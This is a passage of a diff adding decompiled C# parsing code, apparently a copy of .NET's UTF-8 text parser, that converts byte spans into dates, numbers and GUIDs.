(uint)(source[17] - 48); + uint num14 = (uint)(source[18] - 48); + if (num13 > 9 || num14 > 9) + { + bytesConsumed = 0; + value = default(DateTime); + valueAsOffset = default(DateTimeOffset); + return false; + } + int second = (int)(num13 * 10 + num14); + if (!TryCreateDateTimeOffsetInterpretingDataAsLocalTime(year, month, day, hour, minute, second, 0, out valueAsOffset)) + { + bytesConsumed = 0; + value = default(DateTime); + valueAsOffset = default(DateTimeOffset); + return false; + } + bytesConsumed = 19; + value = valueAsOffset.DateTime; + return true; + } + + private static bool TryCreateDateTimeOffset(DateTime dateTime, bool offsetNegative, int offsetHours, int offsetMinutes, out DateTimeOffset value) + { + if ((uint)offsetHours > 14u) + { + value = default(DateTimeOffset); + return false; + } + if ((uint)offsetMinutes > 59u) + { + value = default(DateTimeOffset); + return false; + } + if (offsetHours == 14 && offsetMinutes != 0) + { + value = default(DateTimeOffset); + return false; + } + long num = ((long)offsetHours * 3600L + (long)offsetMinutes * 60L) * 10000000; + if (offsetNegative) + { + num = -num; + } + try + { + value = new DateTimeOffset(dateTime.Ticks, new TimeSpan(num)); + } + catch (ArgumentOutOfRangeException) + { + value = default(DateTimeOffset); + return false; + } + return true; + } + + private static bool TryCreateDateTimeOffset(int year, int month, int day, int hour, int minute, int second, int fraction, bool offsetNegative, int offsetHours, int offsetMinutes, out DateTimeOffset value) + { + if (!TryCreateDateTime(year, month, day, hour, minute, second, fraction, DateTimeKind.Unspecified, out var value2)) + { + value = default(DateTimeOffset); + return false; + } + if (!TryCreateDateTimeOffset(value2, offsetNegative, offsetHours, offsetMinutes, out value)) + { + value = default(DateTimeOffset); + return false; + } + return true; + } + + private static bool TryCreateDateTimeOffsetInterpretingDataAsLocalTime(int year, int month, int day, int hour, int minute, int second, int fraction, out DateTimeOffset value) + { + if (!TryCreateDateTime(year, month, day, hour, minute, second, fraction, DateTimeKind.Local, out var value2)) + { + value = default(DateTimeOffset); + return false; + } + try + { + value = new DateTimeOffset(value2); + } + catch (ArgumentOutOfRangeException) + { + value = default(DateTimeOffset); + return false; + } + return true; + } + + private static bool TryCreateDateTime(int year, int month, int day, int hour, int minute, int second, int fraction, DateTimeKind kind, out DateTime value) + { + if (year == 0) + { + value = default(DateTime); + return false; + } + if ((uint)(month - 1) >= 12u) + { + value = default(DateTime); + return false; + } + uint num = (uint)(day - 1); + if (num >= 28 && num >= DateTime.DaysInMonth(year, month)) + { + value = default(DateTime); + return false; + } + if ((uint)hour > 23u) + { + value = default(DateTime); + return false; + } + if ((uint)minute > 59u) + { + value = default(DateTime); + return false; + } + if ((uint)second > 59u) + { + value = default(DateTime); + return false; + } + int[] array = (DateTime.IsLeapYear(year) ? s_daysToMonth366 : s_daysToMonth365); + int num2 = year - 1; + int num3 = num2 * 365 + num2 / 4 - num2 / 100 + num2 / 400 + array[month - 1] + day - 1; + long num4 = num3 * 864000000000L; + int num5 = hour * 3600 + minute * 60 + second; + num4 += (long)num5 * 10000000L; + num4 += fraction; + value = new DateTime(num4, kind); + return true; + } + + private static bool TryParseDateTimeOffsetO(ReadOnlySpan source, out DateTimeOffset value, out int bytesConsumed, out DateTimeKind kind) + { + if (source.Length < 27) + { + value = default(DateTimeOffset); + bytesConsumed = 0; + kind = DateTimeKind.Unspecified; + return false; + } + uint num = (uint)(source[0] - 48); + uint num2 = (uint)(source[1] - 48); + uint num3 = (uint)(source[2] - 48); + uint num4 = (uint)(source[3] - 48); + if (num > 9 || num2 > 9 || num3 > 9 || num4 > 9) + { + value = default(DateTimeOffset); + bytesConsumed = 0; + kind = DateTimeKind.Unspecified; + return false; + } + int year = (int)(num * 1000 + num2 * 100 + num3 * 10 + num4); + if (source[4] != 45) + { + value = default(DateTimeOffset); + bytesConsumed = 0; + kind = DateTimeKind.Unspecified; + return false; + } + uint num5 = (uint)(source[5] - 48); + uint num6 = (uint)(source[6] - 48); + if (num5 > 9 || num6 > 9) + { + value = default(DateTimeOffset); + bytesConsumed = 0; + kind = DateTimeKind.Unspecified; + return false; + } + int month = (int)(num5 * 10 + num6); + if (source[7] != 45) + { + value = default(DateTimeOffset); + bytesConsumed = 0; + kind = DateTimeKind.Unspecified; + return false; + } + uint num7 = (uint)(source[8] - 48); + uint num8 = (uint)(source[9] - 48); + if (num7 > 9 || num8 > 9) + { + value = default(DateTimeOffset); + bytesConsumed = 0; + kind = DateTimeKind.Unspecified; + return false; + } + int day = (int)(num7 * 10 + num8); + if (source[10] != 84) + { + value = default(DateTimeOffset); + bytesConsumed = 0; + kind = DateTimeKind.Unspecified; + return false; + } + uint num9 = (uint)(source[11] - 48); + uint num10 = (uint)(source[12] - 48); + if (num9 > 9 || num10 > 9) + { + value = default(DateTimeOffset); + bytesConsumed = 0; + kind = DateTimeKind.Unspecified; + return false; + } + int hour = (int)(num9 * 10 + num10); + if (source[13] != 58) + { + value = default(DateTimeOffset); + bytesConsumed = 0; + kind = DateTimeKind.Unspecified; + return false; + } + uint num11 = (uint)(source[14] - 48); + uint num12 = (uint)(source[15] - 48); + if (num11 > 9 || num12 > 9) + { + value = default(DateTimeOffset); + bytesConsumed = 0; + kind = DateTimeKind.Unspecified; + return false; + } + int minute = (int)(num11 * 10 + num12); + if (source[16] != 58) + { + value = default(DateTimeOffset); + bytesConsumed = 0; + kind = DateTimeKind.Unspecified; + return false; + } + uint num13 = (uint)(source[17] - 48); + uint num14 = (uint)(source[18] - 48); + if (num13 > 9 || num14 > 9) + { + value = default(DateTimeOffset); + bytesConsumed = 0; + kind = DateTimeKind.Unspecified; + return false; + } + int second = (int)(num13 * 10 + num14); + if (source[19] != 46) + { + value = default(DateTimeOffset); + bytesConsumed = 0; + kind = DateTimeKind.Unspecified; + return false; + } + uint num15 = (uint)(source[20] - 48); + uint num16 = (uint)(source[21] - 48); + uint num17 = (uint)(source[22] - 48); + uint num18 = (uint)(source[23] - 48); + uint num19 = (uint)(source[24] - 48); + uint num20 = (uint)(source[25] - 48); + uint num21 = (uint)(source[26] - 48); + if (num15 > 9 || num16 > 9 || num17 > 9 || num18 > 9 || num19 > 9 || num20 > 9 || num21 > 9) + { + value = default(DateTimeOffset); + bytesConsumed = 0; + kind = DateTimeKind.Unspecified; + return false; + } + int fraction = (int)(num15 * 1000000 + num16 * 100000 + num17 * 10000 + num18 * 1000 + num19 * 100 + num20 * 10 + num21); + byte b = (byte)((source.Length > 27) ? source[27] : 0); + if (b != 90 && b != 43 && b != 45) + { + if (!TryCreateDateTimeOffsetInterpretingDataAsLocalTime(year, month, day, hour, minute, second, fraction, out value)) + { + value = default(DateTimeOffset); + bytesConsumed = 0; + kind = DateTimeKind.Unspecified; + return false; + } + bytesConsumed = 27; + kind = DateTimeKind.Unspecified; + return true; + } + if (b == 90) + { + if (!TryCreateDateTimeOffset(year, month, day, hour, minute, second, fraction, offsetNegative: false, 0, 0, out value)) + { + value = default(DateTimeOffset); + bytesConsumed = 0; + kind = DateTimeKind.Unspecified; + return false; + } + bytesConsumed = 28; + kind = DateTimeKind.Utc; + return true; + } + if (source.Length < 33) + { + value = default(DateTimeOffset); + bytesConsumed = 0; + kind = DateTimeKind.Unspecified; + return false; + } + uint num22 = (uint)(source[28] - 48); + uint num23 = (uint)(source[29] - 48); + if (num22 > 9 || num23 > 9) + { + value = default(DateTimeOffset); + bytesConsumed = 0; + kind = DateTimeKind.Unspecified; + return false; + } + int offsetHours = (int)(num22 * 10 + num23); + if (source[30] != 58) + { + value = default(DateTimeOffset); + bytesConsumed = 0; + kind = DateTimeKind.Unspecified; + return false; + } + uint num24 = (uint)(source[31] - 48); + uint num25 = (uint)(source[32] - 48); + if (num24 > 9 || num25 > 9) + { + value = default(DateTimeOffset); + bytesConsumed = 0; + kind = DateTimeKind.Unspecified; + return false; + } + int offsetMinutes = (int)(num24 * 10 + num25); + if (!TryCreateDateTimeOffset(year, month, day, hour, minute, second, fraction, b == 45, offsetHours, offsetMinutes, out value)) + { + value = default(DateTimeOffset); + bytesConsumed = 0; + kind = DateTimeKind.Unspecified; + return false; + } + bytesConsumed = 33; + kind = DateTimeKind.Local; + return true; + } + + private static bool TryParseDateTimeOffsetR(ReadOnlySpan source, uint caseFlipXorMask, out DateTimeOffset dateTimeOffset, out int bytesConsumed) + { + if (source.Length < 29) + { + bytesConsumed = 0; + dateTimeOffset = default(DateTimeOffset); + return false; + } + uint num = source[0] ^ caseFlipXorMask; + uint num2 = source[1]; + uint num3 = source[2]; + uint num4 = source[3]; + DayOfWeek dayOfWeek; + switch ((num << 24) | (num2 << 16) | (num3 << 8) | num4) + { + case 1400204844u: + dayOfWeek = DayOfWeek.Sunday; + break; + case 1299148332u: + dayOfWeek = DayOfWeek.Monday; + break; + case 1416979756u: + dayOfWeek = DayOfWeek.Tuesday; + break; + case 1466262572u: + dayOfWeek = DayOfWeek.Wednesday; + break; + case 1416131884u: + dayOfWeek = DayOfWeek.Thursday; + break; + case 1181903148u: + dayOfWeek = DayOfWeek.Friday; + break; + case 1398895660u: + dayOfWeek = DayOfWeek.Saturday; + break; + default: + bytesConsumed = 0; + dateTimeOffset = default(DateTimeOffset); + return false; + } + if (source[4] != 32) + { + bytesConsumed = 0; + dateTimeOffset = default(DateTimeOffset); + return false; + } + uint num5 = (uint)(source[5] - 48); + uint num6 = (uint)(source[6] - 48); + if (num5 > 9 || num6 > 9) + { + bytesConsumed = 0; + dateTimeOffset = default(DateTimeOffset); + return false; + } + int day = (int)(num5 * 10 + num6); + if (source[7] != 32) + { + bytesConsumed = 0; + dateTimeOffset = default(DateTimeOffset); + return false; + } + uint num7 = source[8] ^ caseFlipXorMask; + uint num8 = source[9]; + uint num9 = source[10]; + uint num10 = source[11]; + int month; + switch ((num7 << 24) | (num8 << 16) | (num9 << 8) | num10) + { + case 1247899168u: + month = 1; + break; + case 1181049376u: + month = 2; + break; + case 1298231840u: + month = 3; + break; + case 1097888288u: + month = 4; + break; + case 1298233632u: + month = 5; + break; + case 1249209888u: + month = 6; + break; + case 1249209376u: + month = 7; + break; + case 1098213152u: + month = 8; + break; + case 1399156768u: + month = 9; + break; + case 1331917856u: + month = 10; + break; + case 1315927584u: + month = 11; + break; + case 1147495200u: + month = 12; + break; + default: + bytesConsumed = 0; + dateTimeOffset = default(DateTimeOffset); + return false; + } + uint num11 = (uint)(source[12] - 48); + uint num12 = (uint)(source[13] - 48); + uint num13 = (uint)(source[14] - 48); + uint num14 = (uint)(source[15] - 48); + if (num11 > 9 || num12 > 9 || num13 > 9 || num14 > 9) + { + bytesConsumed = 0; + dateTimeOffset = default(DateTimeOffset); + return false; + } + int year = (int)(num11 * 1000 + num12 * 100 + num13 * 10 + num14); + if (source[16] != 32) + { + bytesConsumed = 0; + dateTimeOffset = default(DateTimeOffset); + return false; + } + uint num15 = (uint)(source[17] - 48); + uint num16 = (uint)(source[18] - 48); + if (num15 > 9 || num16 > 9) + { + bytesConsumed = 0; + dateTimeOffset = default(DateTimeOffset); + return false; + } + int hour = (int)(num15 * 10 + num16); + if (source[19] != 58) + { + bytesConsumed = 0; + dateTimeOffset = default(DateTimeOffset); + return false; + } + uint num17 = (uint)(source[20] - 48); + uint num18 = (uint)(source[21] - 48); + if (num17 > 9 || num18 > 9) + { + bytesConsumed = 0; + dateTimeOffset = default(DateTimeOffset); + return false; + } + int minute = (int)(num17 * 10 + num18); + if (source[22] != 58) + { + bytesConsumed = 0; + dateTimeOffset = default(DateTimeOffset); + return false; + } + uint num19 = (uint)(source[23] - 48); + uint num20 = (uint)(source[24] - 48); + if (num19 > 9 || num20 > 9) + { + bytesConsumed = 0; + dateTimeOffset = default(DateTimeOffset); + return false; + } + int second = (int)(num19 * 10 + num20); + uint num21 = source[25]; + uint num22 = source[26] ^ caseFlipXorMask; + uint num23 = source[27] ^ caseFlipXorMask; + uint num24 = source[28] ^ caseFlipXorMask; + uint num25 = (num21 << 24) | (num22 << 16) | (num23 << 8) | num24; + if (num25 != 541543764) + { + bytesConsumed = 0; + dateTimeOffset = default(DateTimeOffset); + return false; + } + if (!TryCreateDateTimeOffset(year, month, day, hour, minute, second, 0, offsetNegative: false, 0, 0, out dateTimeOffset)) + { + bytesConsumed = 0; + dateTimeOffset = default(DateTimeOffset); + return false; + } + if (dayOfWeek != dateTimeOffset.DayOfWeek) + { + bytesConsumed = 0; + dateTimeOffset = default(DateTimeOffset); + return false; + } + bytesConsumed = 29; + return true; + } + + public static bool TryParse(ReadOnlySpan source, out decimal value, out int bytesConsumed, char standardFormat = '\0') + { + ParseNumberOptions options; + switch (standardFormat) + { + case '\0': + case 'E': + case 'G': + case 'e': + case 'g': + options = ParseNumberOptions.AllowExponent; + break; + case 'F': + case 'f': + options = (ParseNumberOptions)0; + break; + default: + return System.ThrowHelper.TryParseThrowFormatException(out value, out bytesConsumed); + } + NumberBuffer number = default(NumberBuffer); + if (!TryParseNumber(source, ref number, out bytesConsumed, options, out var textUsedExponentNotation)) + { + value = default(decimal); + return false; + } + if (!textUsedExponentNotation && (standardFormat == 'E' || standardFormat == 'e')) + { + value = default(decimal); + bytesConsumed = 0; + return false; + } + if (number.Digits[0] == 0 && number.Scale == 0) + { + number.IsNegative = false; + } + value = default(decimal); + if (!System.Number.NumberBufferToDecimal(ref number, ref value)) + { + value = default(decimal); + bytesConsumed = 0; + return false; + } + return true; + } + + public static bool TryParse(ReadOnlySpan source, out float value, out int bytesConsumed, char standardFormat = '\0') + { + if (TryParseNormalAsFloatingPoint(source, out var value2, out bytesConsumed, standardFormat)) + { + value = (float)value2; + if (float.IsInfinity(value)) + { + value = 0f; + bytesConsumed = 0; + return false; + } + return true; + } + return TryParseAsSpecialFloatingPoint(source, float.PositiveInfinity, float.NegativeInfinity, float.NaN, out value, out bytesConsumed); + } + + public static bool TryParse(ReadOnlySpan source, out double value, out int bytesConsumed, char standardFormat = '\0') + { + if (TryParseNormalAsFloatingPoint(source, out value, out bytesConsumed, standardFormat)) + { + return true; + } + return TryParseAsSpecialFloatingPoint(source, double.PositiveInfinity, double.NegativeInfinity, double.NaN, out value, out bytesConsumed); + } + + private static bool TryParseNormalAsFloatingPoint(ReadOnlySpan source, out double value, out int bytesConsumed, char standardFormat) + { + ParseNumberOptions options; + switch (standardFormat) + { + case '\0': + case 'E': + case 'G': + case 'e': + case 'g': + options = ParseNumberOptions.AllowExponent; + break; + case 'F': + case 'f': + options = (ParseNumberOptions)0; + break; + default: + return System.ThrowHelper.TryParseThrowFormatException(out value, out bytesConsumed); + } + NumberBuffer number = default(NumberBuffer); + if (!TryParseNumber(source, ref number, out bytesConsumed, options, out var textUsedExponentNotation)) + { + value = 0.0; + return false; + } + if (!textUsedExponentNotation && (standardFormat == 'E' || standardFormat == 'e')) + { + value = 0.0; + bytesConsumed = 0; + return false; + } + if (number.Digits[0] == 0) + { + number.IsNegative = false; + } + if (!System.Number.NumberBufferToDouble(ref number, out value)) + { + value = 0.0; + bytesConsumed = 0; + return false; + } + return true; + } + + private static bool TryParseAsSpecialFloatingPoint(ReadOnlySpan source, T positiveInfinity, T negativeInfinity, T nan, out T value, out int bytesConsumed) + { + if (source.Length >= 8 && source[0] == 73 && source[1] == 110 && source[2] == 102 && source[3] == 105 && source[4] == 110 && source[5] == 105 && source[6] == 116 && source[7] == 121) + { + value = positiveInfinity; + bytesConsumed = 8; + return true; + } + if (source.Length >= 9 && source[0] == 45 && source[1] == 73 && source[2] == 110 && source[3] == 102 && source[4] == 105 && source[5] == 110 && source[6] == 105 && source[7] == 116 && source[8] == 121) + { + value = negativeInfinity; + bytesConsumed = 9; + return true; + } + if (source.Length >= 3 && source[0] == 78 && source[1] == 97 && source[2] == 78) + { + value = nan; + bytesConsumed = 3; + return true; + } + value = default(T); + bytesConsumed = 0; + return false; + } + + public static bool TryParse(ReadOnlySpan source, out Guid value, out int bytesConsumed, char standardFormat = '\0') + { + switch (standardFormat) + { + case '\0': + case 'D': + return TryParseGuidCore(source, ends: false, ' ', ' ', out value, out bytesConsumed); + case 'B': + return TryParseGuidCore(source, ends: true, '{', '}', out value, out bytesConsumed); + case 'P': + return TryParseGuidCore(source, ends: true, '(', ')', out value, out bytesConsumed); + case 'N': + return TryParseGuidN(source, out value, out bytesConsumed); + default: + return System.ThrowHelper.TryParseThrowFormatException(out value, out bytesConsumed); + } + } + + private static bool TryParseGuidN(ReadOnlySpan text, out Guid value, out int bytesConsumed) + { + if (text.Length < 32) + { + value = default(Guid); + bytesConsumed = 0; + return false; + } + if (!TryParseUInt32X(text.Slice(0, 8), out var value2, out var bytesConsumed2) || bytesConsumed2 != 8) + { + value = default(Guid); + bytesConsumed = 0; + return false; + } + if (!TryParseUInt16X(text.Slice(8, 4), out var value3, out bytesConsumed2) || bytesConsumed2 != 4) + { + value = default(Guid); + bytesConsumed = 0; + return false; + } + if (!TryParseUInt16X(text.Slice(12, 4), out var value4, out bytesConsumed2) || bytesConsumed2 != 4) + { + value = default(Guid); + bytesConsumed = 0; + return false; + } + if (!TryParseUInt16X(text.Slice(16, 4), out var value5, out bytesConsumed2) || bytesConsumed2 != 4) + { + value = default(Guid); + bytesConsumed = 0; + return false; + } + if (!TryParseUInt64X(text.Slice(20), out var value6, out bytesConsumed2) || bytesConsumed2 != 12) + { + value = default(Guid); + bytesConsumed = 0; + return false; + } + bytesConsumed = 32; + value = new Guid((int)value2, (short)value3, (short)value4, (byte)(value5 >> 8), (byte)value5, (byte)(value6 >> 40), (byte)(value6 >> 32), (byte)(value6 >> 24), (byte)(value6 >> 16), (byte)(value6 >> 8), (byte)value6); + return true; + } + + private static bool TryParseGuidCore(ReadOnlySpan source, bool ends, char begin, char end, out Guid value, out int bytesConsumed) + { + int num = 36 + (ends ? 2 : 0); + if (source.Length < num) + { + value = default(Guid); + bytesConsumed = 0; + return false; + } + if (ends) + { + if (source[0] != begin) + { + value = default(Guid); + bytesConsumed = 0; + return false; + } + source = source.Slice(1); + } + if (!TryParseUInt32X(source, out var value2, out var bytesConsumed2)) + { + value = default(Guid); + bytesConsumed = 0; + return false; + } + if (bytesConsumed2 != 8) + { + value = default(Guid); + bytesConsumed = 0; + return false; + } + if (source[bytesConsumed2] != 45) + { + value = default(Guid); + bytesConsumed = 0; + return false; + } + source = source.Slice(9); + if (!TryParseUInt16X(source, out var value3, out bytesConsumed2)) + { + value = default(Guid); + bytesConsumed = 0; + return false; + } + if (bytesConsumed2 != 4) + { + value = default(Guid); + bytesConsumed = 0; + return false; + } + if (source[bytesConsumed2] != 45) + { + value = default(Guid); + bytesConsumed = 0; + return false; + } + source = source.Slice(5); + if (!TryParseUInt16X(source, out var value4, out bytesConsumed2)) + { + value = default(Guid); + bytesConsumed = 0; + return false; + } + if (bytesConsumed2 != 4) + { + value = default(Guid); + bytesConsumed = 0; + return false; + } + if (source[bytesConsumed2] != 45) + { + value = default(Guid); + bytesConsumed = 0; + return false; + } + source = source.Slice(5); + if (!TryParseUInt16X(source, out var value5, out bytesConsumed2)) + { + value = default(Guid); + bytesConsumed = 0; + return false; + } + if (bytesConsumed2 != 4) + { + value = default(Guid); + bytesConsumed = 0; + return false; + } + if (source[bytesConsumed2] != 45) + { + value = default(Guid); + bytesConsumed = 0; + return false; + } + source = source.Slice(5); + if (!TryParseUInt64X(source, out var value6, out bytesConsumed2)) + { + value = default(Guid); + bytesConsumed = 0; + return false; + } + if (bytesConsumed2 != 12) + { + value = default(Guid); + bytesConsumed = 0; + return false; + } + if (ends && source[bytesConsumed2] != end) + { + value = default(Guid); + bytesConsumed = 0; + return false; + } + bytesConsumed = num; + value = new Guid((int)value2, (short)value3, (short)value4, (byte)(value5 >> 8), (byte)value5, (byte)(value6 >> 40), (byte)(value6 >> 32), (byte)(value6 >> 24), (byte)(value6 >> 16), (byte)(value6 >> 8), (byte)value6); + return true; + } + + [CLSCompliant(false)] + public static bool TryParse(ReadOnlySpan source, out sbyte value, out int bytesConsumed, char standardFormat = '\0') + { + switch (standardFormat) + { + case '\0': + case 'D': + case 'G': + case 'd': + case 'g': + return TryParseSByteD(source, out value, out bytesConsumed); + case 'N': + case 'n': + return TryParseSByteN(source, out value, out bytesConsumed); + case 'X': + case 'x': + value = 0; + return TryParseByteX(source, out Unsafe.As(ref value), out bytesConsumed); + default: + return System.ThrowHelper.TryParseThrowFormatException(out value, out bytesConsumed); + } + } + + public static bool TryParse(ReadOnlySpan source, out short value, out int bytesConsumed, char standardFormat = '\0') + { + switch (standardFormat) + { + case '\0': + case 'D': + case 'G': + case 'd': + case 'g': + return TryParseInt16D(source, out value, out bytesConsumed); + case 'N': + case 'n': + return TryParseInt16N(source, out value, out bytesConsumed); + case 'X': + case 'x': + value = 0; + return TryParseUInt16X(source, out Unsafe.As(ref value), out bytesConsumed); + default: + return System.ThrowHelper.TryParseThrowFormatException(out value, out bytesConsumed); + } + } + + public static bool TryParse(ReadOnlySpan source, out int value, out int bytesConsumed, char standardFormat = '\0') + { + switch (standardFormat) + { + case '\0': + case 'D': + case 'G': + case 'd': + case 'g': + return TryParseInt32D(source, out value, out bytesConsumed); + case 'N': + case 'n': + return TryParseInt32N(source, out value, out bytesConsumed); + case 'X': + case 'x': + value = 0; + return TryParseUInt32X(source, out Unsafe.As(ref value), out bytesConsumed); + default: + return System.ThrowHelper.TryParseThrowFormatException(out value, out bytesConsumed); + } + } + + public static bool TryParse(ReadOnlySpan source, out long value, out int bytesConsumed, char standardFormat = '\0') + { + switch (standardFormat) + { + case '\0': + case 'D': + case 'G': + case 'd': + case 'g': + return TryParseInt64D(source, out value, out bytesConsumed); + case 'N': + case 'n': + return TryParseInt64N(source, out value, out bytesConsumed); + case 'X': + case 'x': + value = 0L; + return TryParseUInt64X(source, out Unsafe.As(ref value), out bytesConsumed); + default: + return System.ThrowHelper.TryParseThrowFormatException(out value, out bytesConsumed); + } + } + + private static bool TryParseSByteD(ReadOnlySpan source, out sbyte value, out int bytesConsumed) + { + int num; + int num2; + int num4; + int num3; + if (source.Length >= 1) + { + num = 1; + num2 = 0; + num3 = source[num2]; + if (num3 == 45) + { + num = -1; + num2++; + if ((uint)num2 >= (uint)source.Length) + { + goto IL_0123; + } + num3 = source[num2]; + } + else if (num3 == 43) + { + num2++; + if ((uint)num2 >= (uint)source.Length) + { + goto IL_0123; + } + num3 = source[num2]; + } + num4 = 0; + if (System.Buffers.Text.ParserHelpers.IsDigit(num3)) + { + if (num3 != 48) + { + goto IL_009c; + } + while (true) + { + num2++; + if ((uint)num2 >= (uint)source.Length) + { + break; + } + num3 = source[num2]; + if (num3 == 48) + { + continue; + } + goto IL_0091; + } + goto IL_012b; + } + } + goto IL_0123; + IL_012b: + bytesConsumed = num2; + value = (sbyte)(num4 * num); + return true; + IL_009c: + num4 = num3 - 48; + num2++; + if ((uint)num2 < (uint)source.Length) + { + num3 = source[num2]; + if (System.Buffers.Text.ParserHelpers.IsDigit(num3)) + { + num2++; + num4 = 10 * num4 + num3 - 48; + if ((uint)num2 < (uint)source.Length) + { + num3 = source[num2]; + if (System.Buffers.Text.ParserHelpers.IsDigit(num3)) + { + num2++; + num4 = num4 * 10 + num3 - 48; + if ((uint)num4 > 127L + (long)((-1 * num + 1) / 2) || ((uint)num2 < (uint)source.Length && System.Buffers.Text.ParserHelpers.IsDigit(source[num2]))) + { + goto IL_0123; + } + } + } + } + } + goto IL_012b; + IL_0123: + bytesConsumed = 0; + value = 0; + return false; + IL_0091: + if (System.Buffers.Text.ParserHelpers.IsDigit(num3)) + { + goto IL_009c; + } + goto IL_012b; + } + + private static bool TryParseInt16D(ReadOnlySpan source, out short value, out int bytesConsumed) + { + int num; + int num2; + int num4; + int num3; + if (source.Length >= 1) + { + num = 1; + num2 = 0; + num3 = source[num2]; + if (num3 == 45) + { + num = -1; + num2++; + if ((uint)num2 >= (uint)source.Length) + { + goto IL_0186; + } + num3 = source[num2]; + } + else if (num3 == 43) + { + num2++; + if ((uint)num2 >= (uint)source.Length) + { + goto IL_0186; + } + num3 = source[num2]; + } + num4 = 0; + if (System.Buffers.Text.ParserHelpers.IsDigit(num3)) + { + if (num3 != 48) + { + goto IL_009c; + } + while (true) + { + num2++; + if ((uint)num2 >= (uint)source.Length) + { + break; + } + num3 = source[num2]; + if (num3 == 48) + { + continue; + } + goto IL_0091; + } + goto IL_018e; + } + } + goto IL_0186; + IL_018e: + bytesConsumed = num2; + value = (short)(num4 * num); + return true; + IL_009c: + num4 = num3 - 48; + num2++; + if ((uint)num2 < (uint)source.Length) + { + num3 = source[num2]; + if (System.Buffers.Text.ParserHelpers.IsDigit(num3)) + { + num2++; + num4 = 10 * num4 + num3 - 48; + if ((uint)num2 < (uint)source.Length) + { + num3 = source[num2]; + if (System.Buffers.Text.ParserHelpers.IsDigit(num3)) + { + num2++; + num4 = 10 * num4 + num3 - 48; + if ((uint)num2 < (uint)source.Length) + { + num3 = source[num2]; + if (System.Buffers.Text.ParserHelpers.IsDigit(num3)) + { + num2++; + num4 = 10 * num4 + num3 - 48; + if ((uint)num2 < (uint)source.Length) + { + num3 = source[num2]; + if (System.Buffers.Text.ParserHelpers.IsDigit(num3)) + { + num2++; + num4 = num4 * 10 + num3 - 48; + if ((uint)num4 > 32767L + (long)((-1 * num + 1) / 2) || ((uint)num2 < (uint)source.Length && System.Buffers.Text.ParserHelpers.IsDigit(source[num2]))) + { + goto IL_0186; + } + } + } + } + } + } + } + } + } + goto IL_018e; + IL_0186: + bytesConsumed = 0; + value = 0; + return false; + IL_0091: + if (System.Buffers.Text.ParserHelpers.IsDigit(num3)) + { + goto IL_009c; + } + goto IL_018e; + } + + private static bool TryParseInt32D(ReadOnlySpan source, out int value, out int bytesConsumed) + { + int num; + int num2; + int num4; + int num3; + if (source.Length >= 1) + { + num = 1; + num2 = 0; + num3 = source[num2]; + if (num3 == 45) + { + num = -1; + num2++; + if ((uint)num2 >= (uint)source.Length) + { + goto IL_0281; + } + num3 = source[num2]; + } + else if (num3 == 43) + { + num2++; + if ((uint)num2 >= (uint)source.Length) + { + goto IL_0281; + } + num3 = source[num2]; + } + num4 = 0; + if (System.Buffers.Text.ParserHelpers.IsDigit(num3)) + { + if (num3 != 48) + { + goto IL_009c; + } + while (true) + { + num2++; + if ((uint)num2 >= (uint)source.Length) + { + break; + } + num3 = source[num2]; + if (num3 == 48) + { + continue; + } + goto IL_0091; + } + goto IL_0289; + } + } + goto IL_0281; + IL_0289: + bytesConsumed = num2; + value = num4 * num; + return true; + IL_009c: + num4 = num3 - 48; + num2++; + if ((uint)num2 < (uint)source.Length) + { + num3 = source[num2]; + if (System.Buffers.Text.ParserHelpers.IsDigit(num3)) + { + num2++; + num4 = 10 * num4 + num3 - 48; + if ((uint)num2 < (uint)source.Length) + { + num3 = source[num2]; + if (System.Buffers.Text.ParserHelpers.IsDigit(num3)) + { + num2++; + num4 = 10 * num4 + num3 - 48; + if ((uint)num2 < (uint)source.Length) + { + num3 = source[num2]; + if (System.Buffers.Text.ParserHelpers.IsDigit(num3)) + { + num2++; + num4 = 10 * num4 + num3 - 48; + if ((uint)num2 < (uint)source.Length) + { + num3 = source[num2]; + if (System.Buffers.Text.ParserHelpers.IsDigit(num3)) + { + num2++; + num4 = 10 * num4 + num3 - 48; + if ((uint)num2 < (uint)source.Length) + { + num3 = source[num2]; + if (System.Buffers.Text.ParserHelpers.IsDigit(num3)) + { + num2++; + num4 = 10 * num4 + num3 - 48; + if ((uint)num2 < (uint)source.Length) + { + num3 = source[num2]; + if (System.Buffers.Text.ParserHelpers.IsDigit(num3)) + { + num2++; + num4 = 10 * num4 + num3 - 48; + if ((uint)num2 < (uint)source.Length) + { + num3 = source[num2]; + if (System.Buffers.Text.ParserHelpers.IsDigit(num3)) + { + num2++; + num4 = 10 * num4 + num3 - 48; + if ((uint)num2 < (uint)source.Length) + { + num3 = source[num2]; + if (System.Buffers.Text.ParserHelpers.IsDigit(num3)) + { + num2++; + num4 = 10 * num4 + num3 - 48; + if ((uint)num2 < (uint)source.Length) + { + num3 = source[num2]; + if (System.Buffers.Text.ParserHelpers.IsDigit(num3)) + { + num2++; + if (num4 <= 214748364) + { + num4 = num4 * 10 + num3 - 48; + if ((uint)num4 <= 2147483647L + (long)((-1 * num + 1) / 2) && ((uint)num2 >= (uint)source.Length || !System.Buffers.Text.ParserHelpers.IsDigit(source[num2]))) + { + goto IL_0289; + } + } + goto IL_0281; + } + } + } + } + } + } + } + } + } + } + } + } + } + } + } + } + } + } + goto IL_0289; + IL_0281: + bytesConsumed = 0; + value = 0; + return false; + IL_0091: + if (System.Buffers.Text.ParserHelpers.IsDigit(num3)) + { + goto IL_009c; + } + goto IL_0289; + } + + private static bool TryParseInt64D(ReadOnlySpan source, out long value, out int bytesConsumed) + { + if (source.Length < 1) + { + bytesConsumed = 0; + value = 0L; + return false; + } + int num = 0; + int num2 = 1; + if (source[0] == 45) + { + num = 1; + num2 = -1; + if (source.Length <= num) + { + bytesConsumed = 0; + value = 0L; + return false; + } + } + else if (source[0] == 43) + { + num = 1; + if (source.Length <= num) + { + bytesConsumed = 0; + value = 0L; + return false; + } + } + int num3 = 19 + num; + long num4 = source[num] - 48; + if (num4 < 0 || num4 > 9) + { + bytesConsumed = 0; + value = 0L; + return false; + } + ulong num5 = (ulong)num4; + if (source.Length < num3) + { + for (int i = num + 1; i < source.Length; i++) + { + long num6 = source[i] - 48; + if (num6 < 0 || num6 > 9) + { + bytesConsumed = i; + value = (long)num5 * (long)num2; + return true; + } + num5 = num5 * 10 + (ulong)num6; + } + } + else + { + for (int j = num + 1; j < num3 - 1; j++) + { + long num7 = source[j] - 48; + if (num7 < 0 || num7 > 9) + { + bytesConsumed = j; + value = (long)num5 * (long)num2; + return true; + } + num5 = num5 * 10 + (ulong)num7; + } + for (int k = num3 - 1; k < source.Length; k++) + { + long num8 = source[k] - 48; + if (num8 < 0 || num8 > 